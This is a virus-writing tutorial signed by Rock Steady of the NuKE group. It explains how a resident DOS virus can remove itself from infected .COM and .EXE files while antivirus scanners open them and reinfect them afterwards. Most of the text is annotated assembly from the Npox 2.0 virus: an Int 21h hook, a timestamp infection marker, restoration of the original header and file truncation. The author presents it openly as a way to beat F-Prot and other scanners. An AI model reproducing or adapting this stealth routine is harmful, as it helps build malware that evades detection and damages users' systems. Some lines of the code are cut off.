Disinfecting an Infected File
By: Rock Steady / NuKE

The BEST advantage a virus can have is `Disinfecting of Fly' as we must try to basically hide the virus as well as possible! And nowadays Anti- Virus programs are going crazy. As I remember at the time Npox 2.0 was developed it would Disinfect every file opened by F-prot and Scan and when the Scanner found nothing and closed the file to go on to the next Npox would re-infect them. Truly can cause havoc, As a matter of fact Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he added his own routine to open files by Int21h/6C00h, as Npox only disinfected on Int21h/3Dh, however to make the virus disinfect on Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ string at DS:SI and put SI into DX so we have DS:DX pointing to it, then run this routine.

The Basic idea on disinfection is this...

For .COM files

Restore the first 3 bytes original Bytes of the program, these 3 bytes are usually somewhere inside the virus, and then simply remove the virus from the end of the .COM file! We do this by jumping to the end of the COM file and subtracting the Virus size from the File size and that new value is the original file size!
NOTE: if you write a virus that its length changes (Polymorphic) its wise to save the original Filesize to be infected before hand.

For .EXE files & Overlays

This procedure is not different, just that if you changed CS:IP & SP:SS in the EXE header, simply restore the original values, or to save time, simple save the Original EXE header (first 1b bytes) in the virus and right that to the beginning as I did for Npox 2.0 Then Subtract yourself from the original size and cut it off!

I will now follow thru the Npox 2.0 virus routine Closely so you can under stand this process.

Okay first thing you would want to do is CHECK if this is If the virus infects COMs & EXEs, do not waste your time looking thru other extensions, or for tight code you can waste your time and "HOPE" the `infection' marker will fail! Meaning if the virus uses the seconds field set to 60 (as Npox) then naturally only INFECTED files will have a time stamp of 60! And this routine is not needed...

>     opening_file:   call    check_extension         ;Check for .COM extension
>                     jnc     open_fuck2              ;YES; Jmp & Disinfect
>                     call    check_exten_exe         ;Check for .EXE extension
>                     jnc     open_fuck2              ;YES; Jmp & disinfect
>                     jmp     dword ptr cs:[int21]    ;Other wise goto DOS

>     ; At this point the file has an .COM or .EXE extension, so we continue

>     open_fuck2:     push    ax                      ;Save AX
>                     mov     ax,3d02h                ;Ready to open
>                     call    calldos21               ;Do it!
>     ;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"
>     ;command, as the virus will intercept it, and will come to this routine
>     ;and it will continue over and over again, Never ending l
>     ;stack gets too big, overwrite the code and the system ja
>     ;in about 2 seconds...
>                     jnc     open_fuck1              ;No Error Continue
>                     pop     ax                      ;restore
>                     iret                            ;Exit

>     open_fuck1:     push    bx
>                     push    cx
>                     push    dx
>                     push    ds
>                     mov     bx,ax                   ;BX=File handler
>                     mov     ax,5700h                ;Get file TimeStamp
>                     call    calldos21

>                     mov     al,cl                   ;move seconds into al
>                     or      cl,1fh                  ;Left just seconds
>                     dec     cx                      ;60 Seconds
>                     xor     al,cl                   ;cmp
>                     jnz     opening_exit3           ;NOT 60 seconds exit!

>                     dec     cx
>                     mov     word ptr cs:[old_time],cx  ;Save
>                     mov     word ptr cs:[old_date],dx  ;Save Date Stamp

>                     mov     ax,4202h                ;Goto the End of File
>                     xor     cx,cx
>                     xor     dx,dx
>                     call    calldos21

>                     mov     cx,dx                   ;Save the filesize
>                     mov     dx,ax                   ;we will need it later
>                                                     ;to subtract the virus
>                     push    cx                      ;size fromit...
>                     push    dx                      ;Save it...

Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header) in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at the VERY END! Since the buffer I made was 1B hex bytes, it is able to hold the EXE header or 3 .com bytes, anyhow the beginning of these bytes are the last 1B bytes, since its at the end... figure it out where you saved your 3 bytes or exe header for your virus, or use the Npox routine...

>                     sub     dx,1Bh                  ;Subtract 1B bytes from
>                     sbb     cx,0                    ;the filesize!
>                     mov     ax,4200h                ;Now our pointer will
>                     call    calldos21               ;point to the 1B bytes
>                                                     ;Where the COM & EXE
>                                                     ;original bytes are
>                     push    cs
>                     pop     ds                      ;CS=DS (for exes)

>                     mov     ah,3fh                  ;Read them into Buffer
>                     mov     cx,1Bh                  ;1B bytes
>                     mov     dx,offset buffer        ;to our buffer
>                     call    calldos21

humm, now we got the original bytes, all we gotta do is write them back to the file's beginning...

>                     xor     cx,cx                   ;Goto Beginning of File
>                     xor     dx,dx                   ;
>                     mov     ax,4200h
>                     call    calldos21

>                     mov     ah,40h                  ;Write first three bytes
>                     mov     dx,offset buffer        ;our buffer
>                     mov     cx,1Bh                  ;1B bytes for EXEs
>                     cmp     word ptr cs:[buffer],5A4Dh
>                     je      open_exe_jmp            ;if EXE file jump
>                     mov     cx,3h                   ;if COM write only 3 bytes
>     open_exe_jmp:   call    calldos21

We wrote the original file's data back to place, now we need to cut the virus off from the file, the virus is written at the end of the file, so all we do is set our file-pointer to EOF - Virus_Size, which gives us the original file length!

>                     pop     dx                      ;EOF - Virus_Size
>                     pop     cx                      ;to get ORIGINAL File size
>                     sub     dx,virus_size           ;subtract virus size
>                     sbb     cx,0
>                     mov     ax,4200h
>                     call    calldos21

Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at our new ptr location, what we do it use does to crop it, by writing 0 bytes to the new location, DOS will make that new location the NEW EoF and in result cutting off the virus and deleting its sector in the fat.

>                     mov     ah,40h                  ;Write new EOF
>                     xor     cx,cx                   ;Zero Bytes
>                     call    calldos21               ;doit

>                     mov     cx,word ptr cs:[old_time]     ;Restore file time
>                     mov     dx,word ptr cs:[old_date]     ;Restore file date
>                     mov     ax,5701h
>                     int     21h

>                     mov     ah,3eh                  ;Close File
>                     call    calldos21

>     opening_exit3:  pop     ds
>                     pop     dx
>                     pop     cx
>                     pop     bx
>                     pop     ax
>                     jmp     dword ptr cs:[int21]     ;Return to DOS...

ahh, the file is now Disinfected, now we safely return it to DOS and DOS may now open the file for inspection...

Rock Steady / NuKE